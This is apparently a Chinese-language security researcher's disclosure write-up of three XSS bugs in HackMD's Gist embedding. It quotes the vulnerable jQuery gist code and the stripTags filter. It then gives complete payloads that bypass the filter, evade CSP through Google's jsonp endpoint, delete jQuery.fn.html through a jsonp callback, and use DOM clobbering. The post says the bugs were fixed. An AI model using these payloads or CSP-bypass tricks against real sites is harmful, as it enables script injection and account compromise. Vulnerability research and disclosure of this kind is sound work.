HackMD XSS, Again
這次又找到了 HackMD XSS,主要是和 Gist 方面沒處理好導致的。
至於為什麼是又呢? 一方面是我去年有找到兩個 HackMD XSS,另外是 Gist 的 XSS 在更早以前也出現過了,不過在多個版本更新之後又出現了 XSS。
不過這次最特別的是我在 HackMD 團隊修復後還是有找到方法 bypass 它的 filter,在一樣的地方再拿一個 XSS。後來回顧時還發現到了一個先前沒找到的 XSS,所以這篇文章一共有三個 HackMD XSS。
最初的 XSS
觸發點是這個地方:
e.find("code[data-gist-id]").filter(n).each((function(e, t) {
if (0 === I(t).children().length) {
var n = t.getAttribute("data-gist-id");
t.setAttribute("data-gist-id", h()(n).stripTags().s);
var r = t.getAttribute("data-gist-file");
r && t.setAttribute("data-gist-file", h()(r).stripTags().s);
var i = t.getAttribute("data-gist-line");
i && t.setAttribute("data-gist-line", h()(i).stripTags().s);
var a = t.getAttribute("data-gist-highlight-line");
a && t.setAttribute("data-gist-highlight-line", h()(a).stripTags().s);
var o = t.getAttribute("data-gist-show-loading");
o && t.setAttribute("data-gist-show-loading", h()(o).stripTags().s),
I(t).gist((function() {
setTimeout(window.viewAjaxCallback, 200)
}
))
}
}
))
其中的 I
是 jQuery,所以可以找 $.fn.gist
的 code 來看:
a.fn.gist = function(c) {
return this.each(function() {
var e, f, g, h, i, j, k, l, m, n, d = a(this), o = {};
return d.css("display", "block"),
e = d.data("gist-id") || "",
g = d.data("gist-file"),
k = d.data("gist-hide-footer") === !0,
l = d.data("gist-hide-line-numbers") === !0,
h = d.data("gist-line"),
j = d.data("gist-highlight-line"),
n = d.data("gist-show-spinner") === !0,
m = n ? !1 : void 0 !== d.data("gist-show-loading") ? d.data("gist-show-loading") : !0,
g && (o.file = g),
e ? (f = "https://gist.github.com/" + e + ".json",
i = "Loading gist " + f + (o.file ? ", file: " + o.file : "") + "...",
m && d.html(i),
n && d.html('<img style="display:block;margin-left:auto;margin-right:auto" alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),
void a.ajax({
url: f,
data: o,
dataType: "jsonp",
timeout: 2e4,
success: function(c) {
var e, g, i, m, n;
c && c.div ? (c.stylesheet && (0 === c.stylesheet.indexOf("<link") ? c.stylesheet = c.stylesheet.replace(/\\/g, "").match(/href=\"([^\s]*)\"/)[1] : 0 !== c.stylesheet.indexOf("http") && (0 !== c.stylesheet.indexOf("/") && (c.stylesheet = "/" + c.stylesheet),
c.stylesheet = "https://gist.github.com" + c.stylesheet)),
c.stylesheet && 0 === a('link[href="' + c.stylesheet + '"]').length && (e = document.createElement("link"),
g = document.getElementsByTagName("head")[0],
e.type = "text/css",
e.rel = "stylesheet",
e.href = c.stylesheet,
g.insertBefore(e, g.firstChild)),
n = a(c.div),
n.removeAttr("id"),
d.html("").append(n),
j && (m = b(j),
n.find("td.line-data").css({
width: "100%"
}),
n.find(".js-file-line").each(function(b) {
-1 !== a.inArray(b + 1, m) && a(this).css({
"background-color": "rgb(255, 255, 204)"
})
})),
h && (i = b(h),
n.find(".js-file-line").each(function(b) {
-1 === a.inArray(b + 1, i) && a(this).parent().remove()
})),
k && (n.find(".gist-meta").remove(),
n.find(".gist-data").css("border-bottom", "0px"),
n.find(".gist-file").css("border-bottom", "1px solid #ddd")),
l && n.find(".js-line-number").remove()) : d.html("Failed loading gist " + f)
},
error: function(a, b) {
d.html("Failed loading gist " + f + ": " + b)
},
complete: function() {
"function" == typeof c && c()
}
})) : !1
})
}
顯然,裡面有各種字串拼接 html 的操作,所以應該可以有 XSS。然而 data-gist-id
在前面會被 stripTags
過濾,所以要看看它是怎麼做的:
stripTags: function() {
if (!this.s)
return new this.constructor(this.s);
var e = this.s
, t = arguments.length > 0 ? arguments : [""];
function n(t) {
var r = RegExp("</?" + t + "[^<>]*>", "gi");
e = e.replace(r, "")
}
return m(t, n),
new this.constructor(e)
},
這邊 t
部分因為呼叫時沒有給參數,所以會是預設的那個 [""]
,因此它相當於 e.replace(/<\/?[^<>]*>/gi, "")
,所以 <<x>script>
就能繞過了,之後就想辦法讓它觸發 error callback 的 d.html("Failed loading gist " + f + ": " + b)
就行了。
因此全部湊起來再結合 Google jsonp CSP bypass 就能得到:
<code data-gist-id='PEKO<<x>script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></<x>script>MIKO'></code>
修正後再一次 XSS
修過之後我看了一下它的改動,只有把 stripTags
的部分修正了一下而已:
stripTags: function() {
if (!this.s)
return new this.constructor(this.s);
var e = this.s
, t = arguments.length > 0 ? arguments : [""];
function n(t) {
var r = RegExp("</?" + t + "[^<>]*>", "gi");
(e = e.replace(r, "")).match(r) && n(t)
}
return m(t, n),
new this.constructor(e)
},
基本上是 replace 一樣的東西,但是這次還會 recursive 的把 html tag 移除掉,所以 <<x>script>
這種繞法是沒用的。不過由於它有 match >
,所以 <script
這種沒閉合的 tag 是不會被移除的。
在不能用 >
的情況下從 cheat sheet 上查可知有 <svg onload=alert()//
之類的 payload,不過這邊一個是因為 CSP 所以不能用,另一個是它 html 注入的地方是使用 jQuery $.fn.html
去做的,裡面會 assign html 給 innerHTML
。而瀏覽器在 assign html 給 innerHTML
時我發現如果只有 <
存在而沒有 >
的話,<
之後的所有 payload 都會整個消失不見,所以這樣是沒辦法的。
我這邊的想法是換一個注入點,就是 img 的那個地方:
n && d.html('<img style="display:block;margin-left:auto;margin-right:auto" alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),
前面可以很簡單的把 img 結束掉,後面又有 >
的存在,所以只有 <
的話可以用 iframe srcdoc 去搞事。不過這邊有個困難點是 srcdoc 裡面還是要 bypass CSP,因此它一樣要用 Google jsonp CSP bypass,但同時它又有個呼叫 Gist 的 ajax,無論是 success 還是 error 都會呼叫 d.html(...)
,iframe 還在載入中的 Google jsonp 覆蓋過去,所以沒辦法 XSS。
這邊我的想法是能不能讓它憑空生一個 error,讓它不會執行到 d.html(...)
,這樣才有足夠的時間能載入 jsonp。而這邊我的答案就是在 Gist callback 利用我之前在 HITCON CTF 2022 - Secure Paste 用的那個 jsonp delete 技巧 (實際上真正的來源應該是這個),用 delete[jQuery.fn][0].html
就能把 $.fn.html
刪掉,這樣就能讓它產生 error 了,所以就有足夠的時間讓 Google jsonp 載入得到 XSS。
最後的 payload 就是:
<code data-gist-show-spinner="true" data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[jQuery.fn][0].html]#"><iframe srcdoc="&lt;script src&equals;&quot;https&colon;&sol;&sol;www&period;google&period;com&sol;complete&sol;search&quest;client&equals;chrome&amp;q&equals;123&amp;jsonp&equals;alert&lpar;document&period;domain&rpar;&sol;&sol;&quot;MIKO&apos;&gt;&lt;&sol;script&gt;"'></code>
XSS, Again
最後有個我原本沒注意到的點,就是 setTimeout(window.viewAjaxCallback, 200)
這個地方。原本 window.viewAjaxCallback
是有個函數存在的,但我們從上面知道可以用 jsonp callback 去 delete 某個東西,所以用 delete[window][0].viewAjaxCallback
就能把它刪掉。
接下來因為 setTimeout
的第一個參數其實也能接受 string,所以有機會用 DOM clobbering 去蓋掉 window.viewAjaxCallback
的值達成 XSS:
<a id="viewAjaxCallback" href="cid:alert()"></a>
<code data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[window][0].viewAjaxCallback]#'></code>
不過這個部分和上一個 XSS 一起在 1.56.0 版本修好了,所以也沒有另外回報。